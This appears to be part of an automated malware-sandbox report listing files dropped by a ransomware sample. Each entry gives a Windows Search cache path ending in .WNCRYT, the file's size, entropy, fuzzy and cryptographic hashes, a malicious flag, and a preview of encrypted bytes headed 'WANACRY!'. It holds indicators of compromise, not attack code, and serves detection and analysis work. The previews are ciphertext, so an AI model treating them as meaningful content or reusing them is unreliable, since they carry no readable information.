                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):799560
                                      Entropy (8bit):7.999750926023455
                                      Encrypted:true
                                      SSDEEP:12288:rHJDNrcpAqV8IvHBSumsELlt/6wzdJGggjp11sjs7oGPQTqapt9r9jtuGYK/:rIppV8IvHBS2ellzdJpa11cc8pt7H
                                      MD5:7C561C12008260A054C5CE0EE123B763
                                      SHA1:B00613B55AA62DB4496786B48BB7D8D9036D485A
                                      SHA-256:55AF048BD3F5AC8E949E2CE6E26D97C2F4FEF6CC3FF2EF8C7DD4FB71B726B50D
                                      SHA-512:CDE789FBFAAE54DF1B450CA7CCE2F527E82F04FA5286A07E2EFC09FE1698F23C68067BC58E82BD74EF0FF634D36F0E7D80FB154842C91E28F9F284CD3F259B46
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......p....Xd.^.k.e{?V..(^o.....D.....78.'.;V.9qfV.WU...2.+....PN]...._5.Y..%.A.6..N...'..<.E...O..#.....y....zM...!...KPB5... ....L.J1l=.u..C..K\...p...rT...4.W......cpN.q1.{o........'..............a[.......\...O.o....._j.X[..eW..<5|k.t......K..../2........w....Z..zKM.<...Y.9...5/..{...k.i.....v.Y.....*........v<....n..'........3..5A.....I....g.@.....\z..v....A...(...<.{.Va.%-#..]...$....t.i.%.b.$...j..p5....).x.e.e.ZV..7..7.....(.0..3....z..%......g..<f.OH...c..K..i.n.BA`.Sp..v.3]..<F....E."J\w.....Q...9d.....l....YF....i7.. i.....)........nZOGre`.8u.n$.5H&Xt....U.m.....Y.5.V.-.)]ff..pL...M..H.:.e.....=..R..].i...8...\.....v..>.9.B<.....i....ki....!.8.b..I..H.[.Z.....h.+g .ox./!MW.......Y..V...mM.../.Q..K.].)..$;e..B.._..I./p.......r.R../.jK.p.h"/.b..w ....t1...I$.umdS...(...ap{H.o.||$!.h...N...T K....^.........?.o{.8E....A...7&..dgy..s.D..&.X..2B. .c.....1...m.....ex...../.z..I.w&G2`.P.......&....).....n.G....t$N.jqM....">.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_27[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):89144
                                      Entropy (8bit):7.998034408248181
                                      Encrypted:true
                                      SSDEEP:1536:ODqudLlGNvRUcJFBH/MUDICxtRsHT5N8Tv6IdkWHN6P+793wgFwOmGES2seG:qqWLlGNvicJDfdIw7sdS1OWt625wguRG
                                      MD5:00AB3B3176E62D62213659DD10321CF1
                                      SHA1:77119586417CAE971B9D5ED6CE3678CF78C82C8D
                                      SHA-256:A9478674930B9C2DA7068ABF871D16D6A39BC16C9527892B05FBB84103944B4A
                                      SHA-512:B6F057F1650BF4481B46F776EFE804A358A23F12939D2640B2D703125B806AAE69D34D47FEBC1D51F97BE774D038CA6A1D786456B23C866ACB37428211A2EA25
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....\...%.%..6./.N.0Q....f@.ub..[.kH*.&.@.b...PL.`\. ...{...7.e...9KNhrb.2...U..f...1..#...?.rk.........R....i....u}..;&.mB.~.J..c..q>..2rML.......yd..H............?o...9...;....0..M.........h-i.....c.Y...6M_a...h..hBie..-|.E.X.P....?kt.+....&s.^.... [......>.\.\h|v.Ie.u..>|.....-.JE...m"...KO........@......?.....v.......l..T....9..zA...=B.L...>...+.......X..d.A...M!K..nX.Z:......<s..[....z...`c+0.IXT.'_p...V...&(.Mj....P.o*.|.u...+p`......\."n.#..Fy.,$.2..h6..k.5....U..B+.6v..r..S...N1...k..\..s.!..a.n.).....-_.S..`..<moR..&J:..l..}5.v..'.u.@b...../.. .l..?D.t.......b.4.-.g|/...k..O..pI..$#]WK....h...Z...=.Ce/g.ey."S.i....j..kSp.^.....O.~..Q..s3....[.T.....=...._..sHl..si...*.t....-(..%..G[I.\..C.B}..,......{.TdFp..|..:<B.'..}.[.].3_.CN2.............F'..I........xW....A.Z..W.....R$......QQ.....%6.%....y....G...[......B.oaAk.....01..8.=.@I.)~,+...x5.a./.Yk*I...Os..<..E..%..(.l.?&...L..XSM..E...L.WrP.o=...cQ... .^v7......^.a...

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_28[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):186072
                                      Entropy (8bit):7.999002449598983
                                      Encrypted:true
                                      SSDEEP:3072:t7j6gyKHRehpLwXEbjVbAvMzjt9lx2shmm7CB9j05fyBht4qJP/FLLHZy:9/yqR8pyWVb3jLlgshmv9YyBLjJFLLM
                                      MD5:2B06D0EF4311884602CE091DFDDED990
                                      SHA1:8F22860D217A27E43FD1BE3C20F75693243A94EE
                                      SHA-256:CFAE84E739C205702089CF47B9E8AB44B600E46AE77F6B8DD3D5BDB444F67F37
                                      SHA-512:FB2212CC8AD9FABCBB420F47FA3CB7EE402DA5FEFDFF216CD80022E90AACEA0342ED2FBA48311DEBCE55E358B723D48D089D0C5246C62094AE62495004B9FB55
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......Y#.......6.i/M.)....es..9.W5...7.<G8.PG..N.;..Jd9.Kn.I.i..$....x.....pI...(...._...B...........~...r..x.p..D...*B..1....SE..L.<r..]..n.K.d>.;@.......lMM.l..9.4p...2^....,.Y.V'.O:...j...............{...d.n.{....u5p.qM#.6b<..G\.s.p.s..............+..F..L.9.(7w../....WF.....N(t.......S.<..L.G.!M?..lJ.....~:...Vw\......*OV..85+.q.'`G.\...mn..>...t...E.z$n..N.....2..|>.Sb.8%|......C.....Bu{.2.xV...x..).....{....W.D.)T.6%.......Z.o.*..z.b;S..r....6?...<.).....).Ly.....'.%...VT.....-.Sd.@p,.`._u.u.[..f.V...`.N.......f.w-.v.{.}'...<^o.S.C.(-...P....k...Us..C.t=..W.z76xQl..n......B.bR...@v..-..d..I:.....[.A..../..1...ME=...u6EF.JA.A0..+..,...$.d(...w.....}...GD1.t..>..8g..[|br.....}./BV..r .-......''.Ke.7K:.;.:O..m....)/s#...F....L..........u(....249..........I....#1....-D..%.X...qK...N4.O...E.F=)"CF.1..GYU..WRd.L.Z..e....B...S?.P....g..X..n.....Y*.....8..U.EO\O..G>Ge.....|.......C8..r...q..U.ll.=rv..V...3i.-*..K.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_29[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):17736
                                      Entropy (8bit):7.990186234160737
                                      Encrypted:true
                                      SSDEEP:384:rt6aNY2RW9LC15EkeiHnK1yETX+JVB9jwmmFE/GHqT:JN+9oSbOEKZ9ULEuo
                                      MD5:333D9AE29DA073CD0577BDFD59AF6C81
                                      SHA1:42A89FF86565B10D638A0B191A26EE60DF578758
                                      SHA-256:C7F3BA7B849C03FD0BB6C09963AA88DADAA059472B535BC7A77840A7AE10052E
                                      SHA-512:CF36F1579911AE221453D088AB9CB86EF83057F70EC5D4BD3B1D6164A955BC730315C7F26450EDD438C62F56DC880DC0DB1A6BFFB93F3F3FEDB3BA8B6D86D187
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......m.J2..%..[=8...1......Hz..?....F....3.:.R....1s .O...%.....!.....M.....3..wt..35g.......t....e...Q{w. ..`%$.^..E?Vm..w...).T.g.3u@.(b..3.....Z.,`X.{....8..j.....S..IV3.'.<.....G...f.9u...1P..,+..4.bR..eM..Rv.zyL.v.>......iX.h&.r.9\..J..5.p@....(D.......z..p..fNp..../......$.+F?.n..f2=.B..._.VUb.x...8.n..a .R.O...5@..1.vr..5TwWV..V.1.O.....WHe..a8.^h.O$U.Ta.PcA...u.l.C.....AY.SQu.-......9 ...P.8..2..Q....p.<.T.*...8.o(...8w.TPI7..roL.GL...=.]"A..b.dmA.+R..X.W.s][L.{...9.F........... .~...8......i/..w.u....Q.d.../.1...^.1.i.3Njk`.H.zRK.n...?.....>..h......5..)........:.!.3.q0..Z.'.A....[Az...njY.H..9......7..dE}hU.../....+.&.eN..)3..-.....?.3(.wj<..#.I....dL.u.P....lq.w].C...f{...l.Si....3......o.........Uq... ..zF...2.8...1...c.88......Y...; v%.g.....q.....M.iw..u!.c@.....k.J>,..u1.......%...A9!Mf.3..GtU.x...f.h..|..Q*.6.{....&....q..2....=.@h..a`..O..8....}.>s..C..}.Dc8c9A_..<..[E s.PE...E.j......,.k.Qy.f.@.S.P...0.m0.W.(-).Y...

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_2[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):73912
                                      Entropy (8bit):7.997611920999735
                                      Encrypted:true
                                      SSDEEP:1536:yrjo3/iOCA+VPTfo3wYcSZY4zLui0OjJV1+tvV4XA1/MDTL:yXo7CA+VPTcJcSZXzLui06Votb2L
                                      MD5:C7E0A2304BAE0D419679A2875E722A4F
                                      SHA1:2C90E8A4CD39455396D45A2F2C66E38D309DC28F
                                      SHA-256:30D17FEF143E791050FE4A2546E2BBB714E419865ABE99DF044BDDB4E8A51185
                                      SHA-512:7DF488C8F2C4CFF8539F36DC521D174CB499CC44F203582952397312ED75746A16A9814B756C0D4DB4D301D172237EF8A077360D50218C7F36820761B8DBAB1B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....A..^..`._N...............&.EU9?T.T#.u..J...2.{.k...V.>#G`.Zz.....a.~..?..:l`m..m.P...Q.u).eg....<1.2.....d..gq.B.y.,.^}.6.".z....!...Xn]>.4.Y9\!Y.M.,+k...=...._.....5.t.A]...D.-..".]...j...5.9&..R....V.....C..........|K..}..p-u. ....g......x............K1e.d.7..q......j.{..Fj..%....V.{....I..Z.....Q.$.......{w&-+40.....k. ....$cH5.I....BD...Q..Ur..D....5.r..i?.h_@;.......D3......[.Do..E7r.t?...wi...-H.yLA.a.c+.Y!.,k.n....L...s\...u..h...P....oH+..7m......3.ny...xj...D...!...F|..V..p..d`.5WZ.e.H.z.>PId......_h.h_J%..Uy..<.".......?.|l.Z.48q..7..`.^......T...G...]...<........[...6...p ..fT...7|...GE6.......g_@.E%v.....vy3s.-m...-i..w..h...%.9'.P..~....S.)............%qU.K..:....:{^.1.UA.,6..u.~....d.(...........N+. ... ..../..=...qT.&.....V.......6.vuC.....y.?.....5.xv.T2.=.H........E..5.\....-ua-..x7c..(<..S.O'.D.....8.<Z.S!......MC/..!p..uaK.A...d../_.s.....bx....?.g.e.\.!......_......V..)=?!..*.I..x.Z.(.CT=...xR..r............-..z

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_3[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):19336
                                      Entropy (8bit):7.991293570868363
                                      Encrypted:true
                                      SSDEEP:384:YP8ZStGpUvDOMYh2E0A5XUogHtF1j0cXwQJihFXq1JGKHjMVZ9jnKUdqPUgee:Y2D2DW2E0ASftF2RQ25qLGaQZ9j8Pt
                                      MD5:907FC8E4E76460D2FA107D48442B4149
                                      SHA1:4D77A01B9BB431F631DF042EDA55FCC8C3CA1EED
                                      SHA-256:34F0428A62D611DA27662B4ED67A74315EFE48A799C32CC3DA9990AC3C620DD4
                                      SHA-512:E85C3EF2C7FF55FD45A2B2392A61390DAEFFC57F855E8C202D1AADACEFFF24382BD0182988D46DABC577A9DBEF3D3BA40CA23D20DBD4B3F5EBBEEC2A80C1E89F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....3..T.?.S.i.......e.&F..6$.o..g`..}...d..(.X..PyBMV...6X.........H.E.......1X......=c0IT"..@.......V..2J0..E.B...A.....e....&.S._.U.w.q..%.G..I.#..c..H...c..S}...-..e.5.............4.'.e.....Kp.j.B..7..P...E.\......p;\......m.IVj..2-2Nz...Z1.(......pJ........ .qa....c.H7..c_.E.N..6l.....(......s.w. Q.......BzA.....$>xo$= z.f........p.f...H.k.:...k..=.....J>.R..h.53.....8,&. ....2....n.....B...DH..g^..P...c.d<..,.. SG3.=.Fp'..s.~...q. 4...z.L..w..6.54...2...P..677tp.&..)<.u.(...-&.......xY..K]&.....m.%p.p.G...-l...E....\_.".g....(XD.3.O...d.b%..,.(....a.?..x.#Q.d....<....p....q.n..n&+r..7.....e......U.f...X7."Ug. %T..Q....{....w"xa..x"....q.=}........&.'.....`...okK..r.o%....Wg......^.2......h$:..P=....u..B5..q...Ta.b Wv.Lt..[./......1..pW.]y)......#.u.vq+.....)hS....t~p....$.{.w....v.....FO.0\...|.d..@..-.e..L......mF>........|..`YZ.h.W.Wu.tXS..{Q...............k.h.%............v.P..]Y..z..G.......F...[Z......`.G.m...nN...f..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_4[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):20680
                                      Entropy (8bit):7.991844193237291
                                      Encrypted:true
                                      SSDEEP:384:d4cw0387D3Tzg69vCm735f+/KJOHu4YhjNexA+89i6xWGxw7Lwz/vdgB:Jn387bg696O32KcHu4INMA+89i8WG+Lp
                                      MD5:97AFF280D6CE723BCCC7424B41754553
                                      SHA1:0CE90CAADBC13210768CBED976E4117A5AA2FC8A
                                      SHA-256:5DBC303FA5C5E7A16B5B828C3467C6CE2ADB07EF09E589253112F9F25FDC1676
                                      SHA-512:0C83BA68E3A8F7D8FC47913D26DE7C32CCBBA0011498BFBA0A33364D200E55472DCF8133620B6D29943B2662C1AFAD4058046B5FF4BA4A47079778BEE2DC758F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....{.X#....0h1...k.~*......S...-.|.....8...R..............2......._...C...N....yE...e{.....bc.j......]n...O..O..-.p....."&..t{.p. .....L.?....C...........Y.S}z%.c`.....U@.".......<.X.B3.....1l..._....h...i.9..!...1..-v9....g...}A.;4.+.[.....%o../O.....O.......~7#f..X.......P../W..$.cp&Kk..O'...o!x}..[....-....qL..........'.&g..r "X.%....`.........g.Q....-.$...MX.x..v......r=...H...K..@...bS.r..y.....o.d..B./^.7l.U....(........^n..G...N.+..Z.....<O..$d...7.........=...;......'..}..8.afj..v...H.....D..cuR.G.Wy.C{...S..1=.N...*..s.....;....T..qwL..t.P..x........{..D.o..MIZ17..6P\.{....O]..J....@.qN..)F.....F...Tey..'..i........:....#....U.q...V.....bW9.|.^u..."....U...!.7n+.L(5.}w.4....Dpg................i(.......8.....z.f7.mNv...o...5..OA.....!.p.F+d)..p^.Q.}N./l.^.i..af..,..6m.D....|....K..Jy)....F(zF.S[.r.5..H....r>.z9)h.F.Yl...p..J1.,h..h....A..A......g...*gaP.g%.E..O=....vD........B.....Y..d.T.W'.m.yU.F:..~.....s E...?k...3..o.s.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_5[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1608
                                      Entropy (8bit):7.875525945439441
                                      Encrypted:false
                                      SSDEEP:48:bk9jQweXjODy3S2xJgWveJmY7kxQS+M23gZZ6:o9jBoSebxfvzfJ2Q2
                                      MD5:8BE999BAACD3FCB0039DE923C568CC60
                                      SHA1:50D5BFAA6C3E23C3D0D2C958C734C84FE0F72A30
                                      SHA-256:C364ED2F256BD431C03E4C39EF9B53C5E0515D3A1D81B030A9BC2779A02D6239
                                      SHA-512:6AC1F84D5C122FE98893308946AED4DD28AB184399C188F3C2A2A8E0EDABE7E387738EFBF00C1077940680812D57C05BD85E8E4D1719B7B3459158BD47135144
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....D.;.b.W..I)....._.a.... !.f..nC.s.L.k.J..v2".......A/.W.uwOY.';.k.b..6..6n..!..-v.QPwY..(P..9._..aZ..1..?U.+.Y..F0Lo...F.h...`a.#.......d;.fx=..}ik..c.I...:..]~..^";.k..%...U....3...aN....I[sXU..?*.i;j...._.(*.......?Z......~.B7..J..];.8......~h}....$.......J.dN...Xy#<..`..q......;..o.G......G......|....UyMM_.s.W...(.0./..E.i....?^7.5I.(....c.7...*.n........h...o.6>P..k....=[..E...W;.x..'...g..QNN...4^P'..q.3K.......+.5{....^.S.[...4~. .L...]p;oI.._...T.&..z.N......c.F..^.8.......~...F0..)A.r.......\.....M.1.pa...5..8a}...<h..[....k.M....E8!Z.?..B....y.RW.S...T...u(..nX.h.n..t.nVj.&.w}.X.jO@..J..kO.%..:......tx....c.!!..L.MQ...h>.../.9.2.i...&K...8e.....Y\i.=...........~6.K.Iu..B......I.pH..@.*LYw=I...Q.j"Jmxy,....w..e....4".5....9#.&....2.^.4..AD.F...k./Ma5.b...Z....o..tZ.,=s...]..v.YS.C...[..d}..f/..W...9.......=.U...@...`)J..*.....0M5...Q...?..-l.."+.Be.QC.I...3O..e/0{..............NH"y.......[..<...mD...N...u.......Z...-.$

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_6[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):37464
                                      Entropy (8bit):7.995487321710083
                                      Encrypted:true
                                      SSDEEP:768:Npnydha+hUep8sEVIP+CBv82at9zckucuqdER4bJMGsK:NVOaBe5PLBv82aolcuCESJMGt
                                      MD5:266F22B99310EA8473C10BC09873B1A1
                                      SHA1:427BA125C8E82C9D0E8EE005401BE8161A4EB94A
                                      SHA-256:B8960047872D47E6FAF2C4243517703596D3B0D99F080441EFB9B26868B9EBDF
                                      SHA-512:0A696DFB87EBB06A8599D40612B9726AE4E114E4768F0C094160F480AA082DA302322BB3BA9E29446EA8F7D79B26C4769FB112DAA10CEA458D1C40996465CFE4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....r^..E...LA>.)..w.7....i.O;Fs...r..cK.09.A...%.Z.m)$&.n.[.Rq....G.).........P....7O....`.0g.X.....`.@..<.v..J..9.-.|Y.3j.)..(.n..F..C..b...I.q...J.../......w..93B.V.......-.....8.1iW..M.G....)...b...oD......\..x.6.6..v..Lq$.M..x...wP-.....=.......v.g...~M...buW-...b.o.Q.q0.. ....=...o]t.....Vj=...XP..,C.N......._.v'.8m.."..p7.,.to..'K...-P%....#s.1..P-.\.g....;.$..5."F.$)D.O.Z.._..H F.I;.r.$.8D.K.v.IWg...n5...i....s....)......*.D...u..Z..E....d.:[..@c..w)...\T>V^Vl!.D.P.......0U`....w..:(?.7..\m....XUnlp...5.Wc.&l.(..w..g.I3f.....Zht....Y.._.^.pec.Z.A.y.d.F...;..-.....r3..f.......F@..@.V..X...~...q.6..Rc.M....<.Y%.uP........cP.t.....#....FP..&.{.f.)...^......#.......,3.l._|5.z...Q......^.. .w(.......`"..p.."..0...."ac8.an.|....em..s......[.I..{..y..A9...........`..q.;s...\..Zg.....,.c...yH..`.&#.R....]...kS..r"7..EI.).D...`.f.%.e..G8..5.k+.F.).U. ......[.Pr...h.I..c]....>6.S^.]....e.Du....4......C...h.d..{,.....o<.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_7[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):168968
                                      Entropy (8bit):7.999066757673874
                                      Encrypted:true
                                      SSDEEP:3072:IRqTjYLcR4JnfZs1omiJpAigPEFUD3wAI4r4TdaWWjGWODyEkp5m90A:dnic4tGomiJa/xDAAp2mjGWOX9mA
                                      MD5:FB4847C570B2951D7E8A5C07D92D308F
                                      SHA1:42390822E60EFCB9FCD74052B917C30A846FBD9C
                                      SHA-256:6F963BE6C7AAD6BF12E0B8C600BB822B933861696A386CD2E0626542DB8BBA5E
                                      SHA-512:920E84811DB9BC05C7084F6C2C56CCAF2987948F0EBC5448E5B1C14CF56CF1541946BBDED0507D510FEFC37ED77C30689979450A7932519F4938EEDABA9D7F61
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......n.\.'%.7...V...}..I...g.+4....G...[..|.9.5....y.h.D&'...F.3.V.O..U.P.w...........~.U.^...!I..!.D....=.dz.k`......s......)....!y.b.k...f...si.s....\.X.r':.o...<.~.Tn7H.p.6=.cs....3[`.X-D..1...vO..F..v.>+...y1:..w+(5......xo....K.....5.w..U.1............dsJS.....z.P-.8O.'.3...[I...xl*.:..HZ.Pu..5.........w.j#D..f...J z...[.X.....q....aV.\%...MeyXm.f4I.=&.......J..........X.w.4u..r.k-...X.Ch.t.. ...&_dDtq......%...~p...z..!.!...Ak.a....G.r.wH....n...|d....tq..A... .....}."i`v....)L.a.}.bZ...w..LU.s.........gC.........9m....j..RRT....RE.!m.@uW......r..=m..6/...;.R..9Sr`L.>.u...0.+.c.!............6*4.-.c...n.dvl....>4[.8.AA..j..7.{P3m...b..Hd...6....yx$.X..X..t.......9&WQq*xn...I......J.%...lP.....U.'7..b.C..y.<.......'..n|G.[.0j..n F.).3 .4.*.....\..EB|QR...w.@.^F...?..&....m.E....K."2.;8.+.tG..3q..<`...Q."0 ..(.......8"...)......o...J.....F.G.*)..9hk.,..,..\....q..)e.#.7TV..?.?..~./..~...FN........k~.l?..YYMj.I...WQ.Z.xH.....M

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):51224
                                      Entropy (8bit):7.996084095009333
                                      Encrypted:true
                                      SSDEEP:1536:gVgQs81Vml09Wd3oxpsOW2CfsRp9c0psPv3zy0rnfcMTD:gCQsqmm4+sO4fKpmJvTD
                                      MD5:3E3FC5E5CAC80C283968AB2B4208616E
                                      SHA1:5971159C670C756CA27CD268F59167ABA1762818
                                      SHA-256:3215520175ECAF33D8241D8CA9F67A89BB06B7B922DA61C632A38D13D37AC8C9
                                      SHA-512:638ABF9C6FC9D84A28AABB2AEB5E7FD59B1A54752347A5D9686259FE5AACB63BB765F210E109881CA75FA2B2F315A11D65A934343D4CC8EAF122AF77BD2B4E1B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....e.....fUa.M..).Pa..n. ..i.=.i.....H....r.G..g...._o..C....f.~..i.i.......\.o.c5V.I...\.)u....2..a.r...2..B..q..g...&....o&....~....K.l..ss.,......>.Y.xF....s.O..s<..^67.P$".T.).`>/.q5.G".e..>...{q......'.._.....+...4w.....Z.."'OV..I...ckOX.....P............v..x:..6K..e.#Q..);)..u..~.K(t.+.c.z\........m.&M.U.z.....H.....]V.NY,....q/K....Qm$.t.......k....^[.^.......(...a...'...&..:]j.A.)..T0.tB..O..L..S. ..-)...:E..YX.v.{..g..h]i:./|..0:...y.C".&..=...J.....Y#.e^.@...${N...V\h..?=.....n.,(.:..o.TC..[./.UK....m_..R.L.N....o+$..-s..........zUD..C.9A..g~.,.....f.P.e...d|....(......zOZ.hG.FJI....V........{_...6..tQC..._. ....6M..=.)..H.......@..eL........'....{....'.BU8Y..p..[!..,<I...M.d....."7).M0..o..,.M".....]`,.T..N>....So..7...k..^...L..9m..}.}"..aW..=N...;2l.q..Y.]...KR(.7_..EW.c...w..V...>Cz...zt.t.pl.U ..m.jo.O.....I..~.M.....}..I...=C1P.x...aF=....*..81.m..#..".2.~.N_."1m)......n=u6..D.....o-...{...<%.=.+\>.....T.....kO,m.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_9[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):69016
                                      Entropy (8bit):7.997191609607533
                                      Encrypted:true
                                      SSDEEP:1536:eafT/nOFsSq1lB1dzmzRwMFzyMeJYi2PZJpDHEl9MxKJBwPlQ:tfT/wa1n3mzeMFuMeZ2tDkUxKUP+
                                      MD5:3E18CEBAD9F00A12A6311C90AC55E692
                                      SHA1:68336063D9250A924DB3EDB4998D2E493BCFBE4C
                                      SHA-256:6BCA09065F198E7385C43FEB4EEBAE5EC3C8CBB5E2F5D525916E9AAA875D06CC
                                      SHA-512:55ABAAFC1816400EB6979CEF733BFBA38481E4D6A19DF9F0B3BCA1A9529E434010A3A1D9C17E23517E0AD29F2599ED57C8091B8FC83CE4691705869708272E36
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....y.~(..y....~.K./.s..kc..[..>tMT.t....p.2..C..f./..T..C..*6.......LR..+..).....(.4..#.B..F^...4Swb..&.....k..1.(...;.q.. ..X.TP...w.:..o.4..A.f85.!.D.Z.,1.~..)...4t|l.....S..../..)Y.+.@...Oo.G.~...S.4...Z.....^...M....o.Q0..X.451.!._."f..d.DJ.p....t.......JR......K..z.x.n...}.....>........P.p........i..L9.....'g5;oN.6~[....d..&...)[.....H..vZ.UG.;`.y.....)ZwRC..8.Ov.....W.,....#..r.3..mp..Q+-.....h..vJ.R9L..u... ..^.... 2S..+p....y5.Z..!...u..9...n.d....ZI...a....i]IA}P;;.g..A..}&...hb`......Hc/UL1y:R_.&.4........./...J.zq.SRL".+H;....^:...a).*...G.Eu)~..Q.<.......u...c..y....:.sa.f..a...i|v..*..).V........qW.V.9.K.D.k.l@^c........Z.../..uRE........U4l....`.-..Y$.....7@P..k..a.1>eL.........5.K..-.!....O..#0.....$1N...&R.......\...@.`]E.h..m.......j....*.e.g..y....d.G.....o"...m.]..6.t.h..R.8q..X.~...-..(d.%2.`V1y...o.J...IG.....ryp.T.....+..3@z.n.fLt..d._..4.r.oX...+nW.v.B.F.%~>..[%..O..Z..b....?d.4!.eu......Y.(..o..@....zn..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\-lxTjronWiCCazqIxFTp4HrDoXc.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1240
                                      Entropy (8bit):7.8053580580044555
                                      Encrypted:false
                                      SSDEEP:24:bkwBaX9uqAWMruVj5D5vf7LSYnXmq6G1SXuKwK0yU3xVl:bk/tvAWMWj5D5vqYWq6GXK1Q3xVl
                                      MD5:998AB1A23C49B50EB83077426C656C61
                                      SHA1:8745DAABCBEAE81E0A4B798956DBEC9F70CBD0CB
                                      SHA-256:03050FE8306DCE7E829EB988CC0090133F4E32AA42DF6319F61BC018B66ACF98
                                      SHA-512:7EF88DCAF09240881CB251BE828948E5D3A3F668730144C7CAD2886EB01B1BCA34D0CA6372405672EC8DA00088838B0FBFA7AC2924A34B24873C14A86B2D3D47
                                      Malicious:false
                                      Reputation:unknown
